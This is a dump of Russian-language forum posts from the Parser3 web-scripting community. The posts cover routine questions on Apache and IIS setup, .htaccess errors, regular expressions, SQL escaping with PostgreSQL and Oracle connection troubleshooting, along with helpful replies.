И это на локалке под Денвером работает, но когда я копирую .htaccess на сервер, то получаю:\
[code]\
403\
Forbidden\
You don't have permission to access / on this server[/code]\
\
Причем 403 он выдает при любом раскладе: /index.html, index.html, [path/to/wwwdir]/index.html.\
\
Что посоветуете? Помогите пожалуйста. "
"10496","Если Unix-полдобная платформа то человек будет брать исходники и сам собирать, я кстати не пойму зачем уже собранные бинары под юникс выкладывать.. скомпилять это минутное дело..."
"10498","и, например, 7 сообщение сверху..."
"10499","http://www.parser.ru/f/1/download/freebsd/parser3_3_0_0005_freebsd46R_grpunlim_cgi.tar.gz\
\
http://www.parser.ru/f/1/download/freebsd/parser3_3_0_0005_freebsd46R_grpunlim_cgi_xml.tar.gz"
"10500","Взято с php.net\
\
Binaries for other systems\
\
We do not distribute UNIX/ Linux binaries. Most Linux distributions come with PHP these days, so if you do not want to compile your own, go to your distribution's download site. Binaries available on external servers:\
\
Чем не вариант?"
"10501","Как вставить в Парсер (в частности в auto.p) фрагмент PHP программы. <? ... ?> почему-то не работает. Спасибо.  "
"10503","Решение достаточно тривиально. Мда, вспоминается:\"Это элементарно, Ватсон!\"\
\
[code]\
ErrorDocument 404 /index.html\
[/code]"
"10504","А как быть. У меня на старой версии есть некоторый код на php. Как мне зделать так, чтобы его выполнить в версии, написанной на Парсере."
"10507","...теперь понял."
"10509","[quot]для чего прислать мише [b]ссылки[/b] на страницы, где можно скачать. мы положим их в раздел «скачать».[/quot]"
"10510","Спасибо за помощь!\
\
Проблема, как я и предполагал, была не в Парсере, (и даже не во мне, ламере) а в этой ... компании ... Агаве. Дай Бог ей процветания!\
\
Проблему решили всего за три дня усиленной переписки. Прочая работа остановилась, меня чуть с фирмы не выгнали ;-P\
"
"10513","Пожалуйста, расскажите как можно более подробно, как установить парсер под Апач на локальную машину. Ничего не получается, все время что-то не нравится, а если все нормально, то не работает парсер!"
"10514","1. Установи Apache.\
2. Скачай [url=\"http://parser.ru/f/1/download/win32/parser3_3_0_0005_win32_cgi.zip\"]CGI программа[/url] и [url=\"http://parser.ru/f/1/download/win32/parser3conf_20020919_win32.zip\"]Конфигурационный файл и файлы описания кодировок[/url].\
3. Распакуй архивы в директорию [b]/cgi-bin/[/b].\
4. В папке [b]/conf/[/b] открой файл [b]httpd.conf[/b], добавь в него это:\
[code]\
# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.exe\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
[/code]\
сохрани файл.\
5. Перезапусти Apache."
"10516","Верно ли, что после выполнения\
[code]\
^таблица.sort{ ... }\
[/code]\
всегда будет выполняться условия\
[code]\
^таблица.line[] == 1\
[/code]\
Можно ли на это твердо рассчитывать или поведение\
в этом случае может меняться в разных реализациях?\
\
Спасибо за помощь!"
"10517","Народ у меня:\
Windows XP\
Apache/1.3.12 (Win32)\
Parser/3.0.0005 (Module)\
Устанавливаю модуль с XML апач не запускается(с простым все ok). Подозреваю, что это из-за \"Библиотеки поддержки XML\", куда их надо положить? А может в конфиге как-то путь прописать, как?"
"10519","Но если по ходу кода мне нужно было сместить текущий указатель на начало таблицы, я использовал ^таблица.offset[set](0)\
\
А по твоему вопросу жди ПАФ-а."
"10520","Вот хотел бы задать два вопроса:\
\
1) Может ли Parser работать в связке с Python-ом, так как он работает с Perl (^file::cgi[] ; ^file::exec[])?\
\
2) Как в Parser получить каталог 'в котором мы находимся'(что-то типа pwd в Unix)?\
Пробовал использовать $request:uri, потом отрезать от нее $request:query и index.html - получается полная лажа."
"10521","1. Да. Собственно никакой разницы нет ... если твоя система способна выполнять отдельные скрипты на каком-либо языке, то и Парсер это сможет.\
\
2. Поподробнее опиши, какая задача, и какой код тебе \"лажу\" выдает."
"10522","Цитата из документации:\
[quote]Если вам необходима возможность работать с XML, выберите соответствующую версию. Также скачайте и распакуйте рядом с основным исполняемым файлом архив «Библиотеки поддержки XML».[/quote]\
\
Но лучше подумать: \"а нужен ли тебе парсер в виде модуля?\" Скорее всего у тебя отладочный, а не продакшн-сервер, так что поставь себе CGI-версию и не мучайся."
"10524","Все заработало, спасибо большое!!!"
"10525","вопрос есть - \
как выйти из цикла ^tab.menu{...} или ^hash.foreach[...]{...}?\
т.е. в C или PHP в таком случае используется break; а вот у вас как?"
"10526","Возможно для твоего случая больше подходит while а не menu/foreach, если у тебя возникает желание досрочно закончить цикл."
"10527","Я просто хочу с использованием parser-а формировать ЧПУ\
\
Т.е.:\
В адреcной строке юзер набирает \
\
[code]\
http://www.bla-bla-bla/lib/bulhgakov/fatal_eggs/\
[/code]\
\
\
Запрос идет на сервер\
\
Сервер, обрабатывая запрос, в пустом каталоге /lib/ наталкивается на примерно такой .htaccess:\
\
[code]\
RewriteEngine on\
RewriteRule !\\.(gif|jpg|png|css)$ /redirect.html\
[/code]\
\
\
Запрос передается парсеру, который пытается сформировать запрос к базе данных или обработать xml или text файл:\
\
[code]\
@redirect[]\
# Тут что-то типо защиты\
# Получаем запрошенный путь\
$uri_request[$request:uri]\
\
# Находим длинну строки\
$uri_request_length[^uri_request.length[]]\
\
# Если строка больше, чем 100 знаков\
^if(${uri_request_length} > 100){\
# Посылаем пользователю привет\
^fack[]\
}{\
# Посылаем парсеру строку \
^redirect_second_step[]\
}\
\
\
@redirect_second_step[]\
# Вычислям $section_match\
^if(in \"/lib\"){	\
# LIB/bulhgakov	\
^if(in \"/lib/bulhgakov\"){\
^if(^uri_request.match[(lib/bulhgakov)\\/.+][i]){$section_match[lib/bulhgakov/*]}{$section_match[lib/bulhgakov/]}\
}{$section_match[lib]}\
# LIB/pushkin\
^if(in \"/lib/pushkin\"){\
^if(^uri_request.match[(lib/pushkin)\\/.+][i]){$section_match[lib/pushkin/*]}{$section_match[lib/pushkin/]}\
}{$section_match[lib]}		\
}\
\
\
# Определяем значения переменным, изходя из $section_match\
^switch[$section_match]{ \
# Это корень lib\
   ^case[lib]{$section_static[lib] $directory[root]}   \
# Это корень lib_bulhgakov\
   ^case[lib/bulhgakov]{$section_static[lib_bulhgakov] $directory[root]}\
# Это раздел bulhgakov\
   ^case[lib/bulhgakov/*]{$section_static[lib_bulhgakov] $directory[not_root]}  \
# Это корень lib_pushkin\
   ^case[lib/pushkin]{$section_static[lib_pushkin] $directory[root]}\
# Это раздел pushkin\
   ^case[lib/pushkin/*]{$section_static[lib_pushkin] $directory[not_root]}\
# Если ничего похожего нет\
   ^case[DEFAULT]{^fack[]} \
}\
\
# Проверям, что выдавать - корень или запрос\
^if(${directory} eq root){  \
^shablon_root[$section_static]\
}{ \
$request_to_shablon[^uri_request.match[(.+?)(\\d+)(.?)][i]{$match.2}]\
^shablon[$directory;$request_to_shablon]\
}\
[/code]\
\
Все очень глупо длинно и не автоматизированно"
"10528","С его помощью очень просто разобрать любой url ...\
http://www.parser.ru/docs/lang/stringsplit.htm\
"
"10529","Если я правильно понял, то подзагрузка собственного шрифта из специально подготовленного прозрачного gif возможна, но при этом буквы вырезаются прямоугольниками и так же состыковываются друг с другом в выдаваемой клиенту картинке.\
\
Если шрифт наклонный это приводит к увеличенному сверх нормального межбуквенному интервалу. Возможно ли уплотнение наклонного шрифта, ведь прозрачность gif-a позволяет \"подклеивать\" прямоугольнички друг к другу, не портя внешнего вида соседних букв? Есть ли такая возможность в парсере или надо писать свои методы? Кто-нибудь занимался этим вопросом?\
\
Спасибо!"
"10530","Всем привет.\
Такая задача : \
нужно проверить указанный пользователем файл на наличие в нем Парсеровских методов и операторов.\
\
[code]\
$match_table[^text.match[(@\\w*\\[(\\w|\\x3B)*\\])(\\[(\\w|\\x3B)*\\])*][gi']]\
[/code]\
такая конструкция выдает больше 1 вхождения, т.к.\
\
@method[params;param1][params;param1;paramN] попадает под @method[params] и под @method[].\
\
Как тут быть?\
"
"10531","Ты ИГРАЕШЬСЯ С ПРИМЕРАМИ.\
\
Как описывается оператор парсера?\
\
Разве не так:\
-начало строки\
-собака\
-любое количество алфавитно-цифровых символов количеством > 0\
-открывающая скобка '['\
-любое кол-во алфавитно-цифровых симболов + символы '_;[]' количеством >=0\
-закрывающая скобка ']'\
-конец строки\
\
после того, как задача ОПИСАНА она решается элементарно. разве нет?\
\
P.S. возможно я что-то забыл, поправь формулировки и реши задачу заново.\
"
"10532","[code]\
<form action=\"\" method=\"post\">\
<input type=\"text\" name=\"id\">\
<input type=\"submit\">\
</form>\
<p>^form:id.int(1)</p>\
[/code]\
Смысл следующий: если поле формы оставить пустым и отсабмиттить ея, то ^form:id.int(1) вернёт 0, а если буковки туда написать, то всё работает как и должно."
"10533","Проверил на текущей (та, что в cvs) - там все ок, никаких нулей.\
\
Возможно, что в предыдущих было не так (в доку упоминалось, что если строка пуста - то ее значение \"равно\" 0)\
\
В деталях ответит ПАФ. Но скоро такого не будет."
"10536","Сделал сайт, возможно конечно не грамотно, но как уж смог :)) и вот проблема в чем: если сайт грузить медленно т.е. через модем - то рисунки нормально выводятся, а если быстро - через выделенку, то при загрузке возможны пробелы в картинках или вывод их с неправильными размерами ... Подскажите пожалуйста что делаю не так. "
"10538","Есть xml, выбираю из него кусок (<xsl:template match=\"kusok\">....) а все остальное мне из файла на данный момент не нужно, определяю идентичное преобразование и выношу его в отдельный файл\
(\
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\
<xsl:template match=\"@* | node()\">\
</xsl:template>\
</xsl:stylesheet>), импортирую в  текущее преобразование.\
Как описано, он должен обрабатывать ТОЛЬКО те элементы, для которых в текущем  преобразовании не определен шаблон, а он обрабатывает всё... HELP!"
"10539","что написание модуля под 2-й apache задача не такая простая для простого кодера, кому надо могу послать то что я сделал, пишите на мыло просьбы, правда быстро ответить не смогу, ибо в инет щас не так часто вылазю."
"10540","Извините, разобрался.."
"10541","Решил попробовать что это за штука, тем более, что он работает с XML. Но добавить под ISS 5.01 parser не получилось. Все сделал по инструкции, но кнопка \"ок\" звдисейдлена. Есть ощущение, что этот IIS обрезаный какой-то. Как с этим бороться? Подскажите, кто сталкивался."
"10542","Насколько я понял вывод один: лучше поставить Апач ... с ним проще ..."
"10543","Уважаемые разработчики, а почему бы не включить в поставку парсера модуль, котрый бы делал то же самое, что и ваш \"Типограф\" (http://www.artlebedev.ru/free/typograf/)? Это было бы полезно, вкусно, да и послужило бы тому же делу, что и вышеозначенная ссылка.\
\
У вас ведь есть такой модуль, как я понимаю. В крайнем случае - у вас есть набор регэкспов, через который работает он-лайновый Типограф, а это довольно быстро превращается в функцию.\
\
Или, если требуется нечто большее, нежели регыражения, можно было бы сделать встроенный оператор по типу \"taint\"...\
\
Или есть какие-то идейные ограничения?"
"10544","но решение у него тривиальнейшее...\
мне посоветовали пройтись Tab-ом несколько раз - потом это кнопка отвисает. Т.е. - вписываешь все параметры, потом жмешь Tab - чтобы он сделал пару кругов по окну. У меня после 2-ого круга кнопка отвисла...\
\
Это не прикол - это факт..."
"10546","Мне отправляют формой файл, проблема состит в том - как мне считать данные из строки ну допустим там узер нажал кнопочку обзор нашёл файлЮ, у него в месте где вводить написался путь к файлу он нажал отправить ну дак вот как мне етат путь получить\
\
Если просто пишешь как для всех ячеек формы form:go_file то выдает ошибку типа файл непотдерживает данный метод....чё делать?:("
"10547","$form:go_file - это объект класса file. А теперь делай с ним все, что тебе нужно...\
\
^form:go_file.name - имя файла и т.д.\
\
..:)..могу ошибаться, но ты попробуй..."
"10549","Точнее, бесплатно только его пользование ;-)\
Не все же должно быть open-source...\
Да и принципы достаточно документированы в \"ру/ководстве\" - хорошая задача на логику и знание регэкспов..."
"10551","Получение статистики слов в документе\
\
Пытаюсь сделать код для домашнего пользования, получающий статистику слов в документе (сколько раз то или иное слово встречается в тексте). Пока имеется такой код:\
\
[code]\
^if(def $form:tostat){\
\
$statex[$form:tostat]\
$statex[^statex.match[[\\n]][g]{ }]\
$statex[^statex.match[[()\\{\\}\\[\\]\"'“”»«—!.^;^^:,1234567890–]][g]{ }]\
$stat_final[^statex.lsplit[ ]]\
\
^stat_final.sort{$stat_final.piece}[asc]\
$stat_temp[^table::create{item	occur\
^stat_final.menu{\
$stat_final.piece	1}}]\
^stat_temp.menu{\
$stat_temp.item	$stat_temp.occur\
}\
\
[/code]\
\
Но в результате, как нетрудно догадаться, получается таблица:\
\
[code]\
item	occur\
...	...\
to	1\
to	1\
...\
the	1\
the	1\
...\
[/code]\
\
как слить это все, чтобы получилось\
\
[code]\
item	occur\
...	...\
to	5\
...\
the	25\
...\
[/code]\
\
и т.д.?"
"10552","Есть идея применить хеш. Например:\
[code]\
$string[abc qw abc u uiuioi qw  abc]\
$table[^string.lsplit[ ]]\
$hash[^hash::create[]]\
\
^table.menu{\
  ^if(def $table.piece){\
    $hash.[$table.piece]($hash.[$table.piece] + 1)\
  }\
}\
\
^hash.foreach[k;v]{\
 $k = $v\
}[<br>]\
[/code]"
"10553","Можно ли средствами Парсера организовать экспорт в дбф файл?"
"10554","<img alt=\"\" width=\"ширена\" height=\"высота\"/>"
"10555","через ODBC, ежели соответсвующий драйвер в природе существует ..."
"10557","...типа\
[code]\
^connect[mysql://user:password@host/db]{\
  $src[^table::sql{select * from table}]\
}\
^connect[odbc://DSN=dbf]{\
 ^src.menu{\
    ^void:sql{insert into test values('$src.field_name')}\
  }\
}\
[/code]\
предварительно создав нужный DSN."
"10560","[code]\
$file[^file::load[text;$file_in]]\
$match_table[^file.text.match[^^(@\\w+)\\[[\\w\\x3B\\[\\]]*\\]^$][gmi']]\
[/code]\
эта конструкция работает и вытягивает все операторы файла. Пришлось доработать советуемую."
"10561","А сделать его binary (не в source codes) и класть с парсером? Это будет нехилый аргумент для сомневающейся общественности пользоваться p3..."
"10563","Вроде все сделал по инструкции :))) Первый урок так и не получился. Пробовал подсунуть чистый html все равно 500 Internal server error. В чем проблема подскажите? IIS 5.01 под XP"
"10564","на то она и общественность :)"
"10565","Это я и имел ввиду под идейными ограничениями... =)\
\
Эх, жаль что я не очень хорошо в регекспах теперь разбираюсь... Ладно, главное формализовать бизнес-правила, а закодить - это не сложно, имхо =)"
"10566","А вот такое правило у вас в \"Типографе\" формализовано или нет? Можно узнать, если не коммерческая тайна?\
\
\"Никаких специальных правил по поводу переноса быть не может. Каждый раз нужно вникать в смысл текста и привязывать короткое слово либо к предыдущему, либо к следующему за ним словом. Все переносы должны быть осмысленными.\""
"10567","если, конечно, не секрет."
"10568","я не буду пытаться сохранять текущую позицию хотя бы потому, что это обратно-несовместимо."
"10569","^file::exec/cgi\
\
1.\
откуда вопрос-то возник? вы попробовали, и что-то не вышло? или спрашиваете, чтобы забить голову окружающим?\
\
2.\
не валите вопросы в кучу, дискуссия будет сумбурная, лучше отдельно каждый вопрос. про хороший заголовок я уже писал!"
"10570","[quote]\
Инициализация заключается в вызове метода auto каждого загруженного файла. Если определение этого метода содержит параметр, при вызове в нем будет передано имя загруженного файла. \
[/quote]\
http://parser.ru/docs/lang/mainclass.htm\
"
"10571","практика показывает, что такую конструкцию хотят люди, которые \
\
1. не пользуются ^table.locate;\
2. достают из базы кучу мусора, и потом в ней роются;\
3. люди, не пользующиеся ^table.hash\
4. люди, которым действительно нужно, но они отказываются привести пример, чтобы им могли посоветовать более изящное решение."
"10572","для monospaced шрифтов можно указать произвольную ширину буквы.\
для proportional сейчас межсимвольный интервал не задаётся [=1pixel], а ширина символа определяется по самому правому непрозрачному пикселу.\
\
предложите красивое решение, подумаю над внедрением.\
а пока: выводите побуквенно. ширину каждой буквы можете замерять функцией ^image.length[буква]"
"10573","кому сверхсрочно, может взять там.\
но скоро выпускаем 3.0.0006."
"10574","типа положим свою копейку в общий котёл.\
потом люди поиском по форуму найдут и скажут спасибо. пусть даже не вслух ;)"
"10575","browser [b]может[/b] прислать путь, но я считаю его не нужным на сервере. поэтому доступно только имя.\
\
если вам нужен для чего-то разумного, расскажите для чего, может и сделаю."
"10577","1. пожалуйста, почитайте FAQ. \
2. если ничего из предлагающегося там не поможет, расскажите подробнее."
"10578","друзья,\
замечено, что многие начали писать сложные регулярные выражения.\
\
как мы писали в документации, «Приложение 4. Perl-совместимые регулярные выражения» [http://parser.ru/docs/lang/app4.htm]\
\
[quote]\
Краткое описание, которое приводится тут, имеет справочный характер. \
[/quote]\
\
этим мы пытались вам сообщить мысль, что если нужно делать что-то неэлементарное, обязательно стоит почитать другие источники:\
\
[quote]\
Подробную информацию по PCRE можно найти в документации к Perl, а также в большом количестве специальной литературы, содержащей помимо всего остального много практических примеров.\
[/quote]\
\
замеченные вопросы [b]и ответы[/b] показывают, что сделали это не все.\
\
поэтому ещё раз настоятельно советую пойти и почитать. вот английский вариант:\
\
вот их описание в доке по perl:\
http://www.perldoc.com/perl5.6.1/pod/perlre.html\
\
вот их описание с сайта проекта:\
http://www.pcre.org/man.txt\
в parser сейчас используется версия 2.08\
\
[кто найдёт тексты по-русски, пожалуйста, приведите ссылки в ответе на это письмо]"
"10579","Все заработало только после установки parser в C:\\WINDOWS\\system32\\inetsrv\\ \
\
с одной стороны заработало и ладно, но все-таки хочется понять почему не работало из другой директории??? по идее, разницы никакой..."
"10580","я уже подробно писал про пути. \
поищите по форуму."
"10581","как сделать выборку из таблицы, например, по текстовому полю login, что бы регистр имел значение? (loGin!=Login)"
"10583","Ошибка происходит на последней строке следующего класса:\
[code]\
@CLASS\
css\
\
@init[userContextIn] Инициализация (с правами userContext)\
$xmlCSS[^xdoc::create{^untaint{^userContextIn.getOption[stylesheet]}}]\
\
@renderStyle[]\
$xsl[^xdoc::load[/classes/templates/css.xsl]]\
^xmlCSS.transform[$xsl]\
[/code]\
\
(^userContextIn.getOption[stylesheet] - достаёт из БД XML.)"
"10584","Ну, привык я к модулям... ;)\
А если серьезно: \"распакуйте рядом с основным исполняемым файлом\" - это куда рядом с модулем parser`а(xml модулем)? Копировал все равно апач не запускается. ;( Именно Апач, пишет ошибку к своем конфиге(httpd.conf) на строке где лоудится xml модуль парсера."
"10585","Если кто столкнётся с этим - ошибка в следовании <xsl:template>"
"10586","http://www.optim.ru/cs/2001/1/regular/regexpr.asp\
http://exper.ural.ru/st005.phtml\
http://caravan.ru/re.html\
http://www.citforum.ru/internet/perl_tut/re.shtml\
http://perl.mastak.com/cgi-bin/faq.pl?group=regexp\
http://www.xpoint.ru/forums/programming/perl/regexp/forum.html\
\
========================\
http://www.google.com\
(регулярные выражения)\
========================"
"10587","Если это такой важный вопрос -- надо просто скооперироваться и собрать такую штучку на толпу и (может быть) продвинуть в \"примеры\". Сделать максимальный набор правил (все предлоги, союзы и т. д.) -- а там, пусть остальные (кто ее будет юзать) сами решают -- какие строчки-опции убирать -- отмечать как комментарий -- а какие нет. Заодно посмотрят, как реализуются такие фишки. Мне, например, оч. помог пример с переделкой тэгов форума на\
\
http://www.parser.ru/examples/regexp/\
\
Конечно, полезно иметь такую фишечку (автотипограф) под рукой, в оффлайне. У меня, например, доступ ограничен и Типограф не всегда доступен, да и не во всем он меня устраивает -- лучше самому сверстать -- под себя...\
\
Если интересно, могу прислать те наработки, которые уже имеются. Понадобится -- пишите на мыло (вверху) с сабжем \"Хочу типограф\" :)\
Лужик прав -- после такой работы (самостоятельной) операции с регекспами становятся намного яснее.\
\
ЗЫ: А там, чем черт не шутит -- может какие-то идеи из этого всего и Лебедевцам пригодятся? ;)\
\
ЗЫЗЫ: И еще -- с правилами в русском языке все более или менее понятно, а что делать с английским?.. Даже правило о том, что длинное тире ставится вплотную к словам (а не обрамляется пробелами, как в русском языке) соблюдается т. н. \"носителями языка\" не всегда -- то так, то сяк..."
"10588","Что означает эта ошибка !!! Код проверил ,понять немогу почему она вылезает Вот ошибка  z:/home/localhost/www/parser3/auto.p(15:1): parse error, expecting `'['' or `'{'' or `'(''\
exception.type=parser.compile "
"10589","Столкнулся с парой проблем при работе с СУБД PostgreSQL.\
\
1. Когда СУБД работает под FreeBSD а Apache под Windows, невозможно в базу внести данные размером превышающие 8049 байт (8050 байт уже нельзя :)) интересно что это ограничение позволяет вставить 99 полных строк по 80 символов (100 уже не катит) ну и в 100-й строке не более 30 символов, если больше сервер валится в error 500 и в логе выскакивает буквально следующее:\
\
[quote]\
[Sun Dec 15 08:23:21 2002] [error] [client 127.0.0.1] Premature end of script headers: d:/apache/cgi-bin/parser3.exe\
[Sun Dec 15 08:23:21 2002] [error] [client 127.0.0.1] \
\
[Sun Dec 15 08:23:21 2002] [error] [client 127.0.0.1] This application has requested the Runtime to terminate it in an unusual way.\
\
[Sun Dec 15 08:23:21 2002] [error] [client 127.0.0.1] Please contact the application's support team for more information.\
[/quote]\
\
Если Apache работает тоже под FreeBSD все нормально, т.е. данные размером более 8049 байт вставляются. Похоже существует проблема в драйвере PostgreSQL под Windows.\
\
2. Не могу вставить/обновить в БД текст содержащий символ \\. При вставке/обновлении возникает ошибка:\
\
[code]\
ERROR:  parser: parse error at or near \"\\\"\
[/code]\
\
Понимаю что дело в taint/untaint, но что то нифига не получается. Лежу в доку читаю что там написано:\
\
[quote]\
Также Parser выполняет ряд автоматических untaint преобразований: \
вид	что преобразуется \
\
sql тело SQL-запроса \
\
table текст при создании таблицы или добавлении в нее записи \
\
xml	XML код при создании объекта класса xdoc  \
[/quote]\
\
Для вида sql написано следующее:\
\
[quote]\
sql	в зависимости от SQL сервера \
для Oracle/ODBC меняется ' на '' \
для PgSQL меняется ' на '' и \\ на \\\\ \
для MySQL делается средствами самого MySQL  \
[/quote]\
\
т.е. насколько я понял для PostgreSQL символ \\ должен в теле sql запроса автоматически меняться на \\\\ чтобы не было ошибок, но они есть. Я перепробовал такие варианты:\
\
[code]\
	^void:sql{\
		update\
			...\
		set\
			...\
			txt = '$form:txt'\
			...\
	}\
\
	^void:sql{\
		update\
			...\
		set\
			...\
			txt = '^taint[as-is][$form:txt]'\
			...\
	}\
\
	^void:sql{\
		update\
			...\
		set\
			...\
			txt = '^taint[sql][$form:txt]'\
			...\
	}\
\
	^void:sql{\
		update\
			...\
		set\
			...\
			txt = '^untaint[as-is]{$form:txt}'\
			...\
	}\
\
	^void:sql{\
		update\
			...\
		set\
			...\
			txt = '^untaint[sql]{$form:txt}'\
			...\
	}\
[/code]\
\
Ни один не работает.\
"
"10590","На форуме телепатов вроде пока не было :) ... У тебя там где-то сокбки не хватает ... "
"10592","Нужно задавать для стандартных сочетаний букв типа ГА и ТА не по 2 картинки, а по 1. На сколько относительно одной буквы смещать другую можно почитать в самом обычном учебнике черчения. И если я не ошибаюсь то это смещение будет 0,5 и 0,3 от ширины буквы соответственно."
"10593","Это означает что ты не закрыл скобку, или в операторе вместо : поставил точку, или не отэскейпил точку с запятой ^;"
"10594","взять исходник, поправить, и если такой результат всех удовлетворит, прислать мне"
"10595","При попытке соединения в логе вижу строку:\
'connect' native method of MAIN (method_frame) accepts minimum 2 parameter(s) (1 present) [parser.runtime]\
\
Код вот такой:\
^connect[oracle://mscience:ms@B-SERVER?NLS_LANG=AMERICAN_AMERICA.CL8MSWIN1251]\
{\
	$docs[^table::sql{select doc_id from doc where rownum < 10;}]\
\
}\
\
B-SERVER - запись из tnsnames. по ней все остальные программы соединяются нормально.\
в чём проблема?"
"10596","про look-ahead/behide конструкции немного написано в первой ссылке.\
про оптимизацию поиска на конце выражения не написано нигде :("
"10597","1. это дело клиентской библиотеки, уверен, что это она падает, с чем-то там не справляясь, найдите более новую версию libpq.dll, возможно, поможет. с parser идёт 7.1.2.0\
\
2. подтверждаю bug, исправил. если нужно срочно, возьмите в CVS. пока работайте через ODBC."
"10598","между ] и { недопустимо пустое пространство, скобки должны идти впритык.\
\
[code]\
^connect[…]{…\
[/code]"
"10599","Появляется ошибка  такого содержания z:/home/localhost/www/parser3/index.html(2:9): parse error, expecting `'\\n''\
exception.type=parser.compile \
что она означает !!! \
мой файл auto.p выглядит так :\
\
@main[]\
^class[]\
^bodymenu[]\
^samuiniz[]\
@class[]\
<HTML>\
<HEAD><TITLE>HELLO</TITLE></HEAD>\
<META http-equiv=Content-Type content=\"text/html; charset=windows-1251\">\
<META \
content=\"fgfgfggf\" \
name=keywords>\
<BODY bgColor=\"#ffffff\" leftMargin=\"0\" topMargin=\"0\" marginheight=\"0\" marginwidth=\"0\">\
<table width=\"100%\" cellspacing=\"0\"  cellpadding=\"0\" border=\"1\" >\
<tbody>\
@bodymenu[]\
<tr>\
<td><table width=\"100%\" cellspacing=\"0\" cellpadding=\"0\" border=\"0\">\
<tbody>\
<tr>\
<td>\
$sections[^table::load[verxtext.cfg]] \
<table width=\"30%\" align=\"right\" cellspacing=\"0\" cellpadding=\"0\" border=\"1\">\
<tbody>\
<tr>^sections.menu{\
<td><a href=\"$sections.uri\">$sections.name</a></td>\
}\
</tr>\
</tbody></table>\
</td></tr></tbody></table></td></tr>\
@samuiniz[]\
</tbody></table></body></HTML>"
"10600","TNS-12640 Authentication adapter initialization failed\
\
 Cause: The function specified in the authentication table entry for the service failed.\
\
При этом все остальные приложения с этой машины по этой самой записи в tnsnames соединяются."
"10601","похоже на то, что для авторизации используется не просто пользователь/пароль.\
\
возможно, необходимо включить опцию ORA_ENCRYPT_LOGIN=TRUE \
см. http://parser.ru/docs/lang/app3oracle.htm\
\
приведите запись целиком, может спецы по oracle что скажут. [сам такое вижу впервые]\
"
"10602","Так и я тоже впервые такое вижу. Неприятно как-то :-)\
Записи целиком:\
parser.log\
ORA-12640: Authentication adapter initialization failed| (ServerAttach, -1) [sql.connect]\
\
sqlnet.log\
  Time: 15-DEC-2002 12:41:39\
  Tracing not turned on.\
  Tns error struct:\
    nr err code: 0\
    ns main err code: 12640\
    TNS-12640: Authentication adapter initialization failed\
    ns secondary err code: 0\
    nt main err code: 0\
    nt secondary err code: 0\
    nt OS err code: 0\
\
\
включение encrypt login не помогло"
"10603","1. Понятно, я использую PostgreSQL версии 7.2.0\
\
2. Из CVS взять пока не могу потому что инет дома работает не очень шустро. Попробовал работать через ODBC - ошибка при вставке данных с символом \\ исчезла, однако данный символ коцается и текст вставляется без него, что тоже неприемлемо :) Ладно, по возможности залезу в CVS и сгружу исходники для драйверов и соберу новые драйвера."
"10604","нашёл на каком-то форуме:\
измени в sqlnet.ora строчку:\
  \
sqlnet.authentication_services=(NTS) \
\
на\
\
sqlnet.authentication_services=(NONE) \
\
Изменил. Проверям - упс. Смотрим в лог:\
'sql' is not allowed to be called statically [parser.runtime]\
"
"10605","а не сообщение об ошибке.\
\
залезьте в tnsnames и выцепите описание B-SERVER"
"10606","B-SERVER =\
  (DESCRIPTION =\
    (ADDRESS_LIST =\
      (ADDRESS = (PROTOCOL = TCP)(HOST = 10.1.144.1)(PORT = 1521))\
    )\
    (CONNECT_DATA = (SID = MARC)(SERVER = DEDICATED))\
  )"
"10607","вы где-то ухитрились сделать не правильное\
[code]\
$table[^table::sql{…}]\
[/code]\
\
а ошибочное\
[code]\
$table[^table:sql{…}]\
[/code]\
\
если не поможет, приведите файл с ошибкой и указанием в какой строке ошибка."
"10608","чему весьма рад."
"10609","Про ошибку в коде Вы правы.\
\
Summary:\
для 8.1.7 на w2k AdvServ\
\
SQLNET.AUTHENTICATION_SERVICES=(NONE)\
должно быть в sqlnet.ora 100% (или ##эту строчку)\
Если его там нету, то даже самый пацанский и правильный код работать не будет.\
\
\
great respect и большое спасибо\
"
"10610","http://www.parser.ru/examples/trees/:\
[quote]\
рекурсия - далеко не самый эффективный алгоритм. Используя его не злоупотребляйте созданием локальных переменных, т.к. это безвозвратно теряет память и при построении больших деревьев вам ее не хватит (говорю о parser3).\
[/quote]\
\
Что такое \"большое дерево\" в данном случае? Есть ли какие-то способы выбора алгоритма (проще но с рекурсией/сложнее но без неё) на ранних этапах работы над проектом? Какие-нить простые правила, например, \"рекурсия глубиной 100 -- bad\"?"
"10611","Можно иметь глубину вложености 1000 и не создавать ни одной локальной переменной, а можно - 5 и делать при каждой итерации sql запрос с доставанием 100 КБ данных.\
\
Так что делай тест и смотри результаты, выдаваемые rusage (unix only)\
\
После этого делай выводы.\
\
Я рекурсию использую. Достаточно часто. Обходы древовидных структур без нее мне лениво делать :)"
"10612","apache 2\
parser 3\
w2k pro\
\
при передаче вот такой вот строки\
server.ru/index.phtml?<params...>&letter=Ж\
(или какаянть другая русская буква)\
получаем Internal service error\
\
понимаю, что можно каждой букве присвоить индекс и хранить всё это в каком-нибудь кфг, в нужный момент его грузить и т.д...\
\
существует кошерный способ решения этой проблемы?"
"10613","пожалуйста, скопируйте сообщение об ошибке сюда [copy/paste].\
\
к слову, browser не обязан правильно передать такую букву на сервер. читайте стандарты почему.\
читайте доку по parser как можно закодировать букву, чтобы передалось. ключевые слова: taint, uri."
"10614","После @classname[] не должно быть никакиз смволов, сразу перевод строки"
"10615","Есть например html файл, в нем определен некоторый метод\
например\
[code]\
@page[]\
bla bla bla ...\
[/code] и не только он, там есть объявления ми других методов.\
Как по спортивнее выбрать содержимое именно этого метода.\
\
Заранее спасибо.\
"
"10616","Спасибо, я, как обычно, о самом простом и не подумал :-)\
А более продвинутое решение мне сейчас не по карману (в смысле времени)...\
\
Еще раз - спасибо!"
"10617","Собрал и получаю:\
\
config(1): 'd:/Apache/cgi-bin/auto.p' read failed: No such file or directory (2), actual filename '_00'  type: file.missing\
\
Файл такой есть - это конфиг. auto.p. Простая замена HEAD версии версией 3.0005 и все работает, с конфигами все в порядке. В связи с этим вопрос, что в HEAD версии изменился способ крнфигурирования?"
"10618","Как с помощью парсера взять файл с удаленного сервера?\
Как получить только его заголовок?\
Как напрямую вставить внешний файл в текст выводимой страницы?\
(Cp.: Perl:LWP)"
"10620","Я вот не пойму что-то: в мануале по PHP написано, что куки могут отдаваться только до вывода, в header-ах. А в Parser  можно где угодно их ставить - в середине кода и т.д.\
\
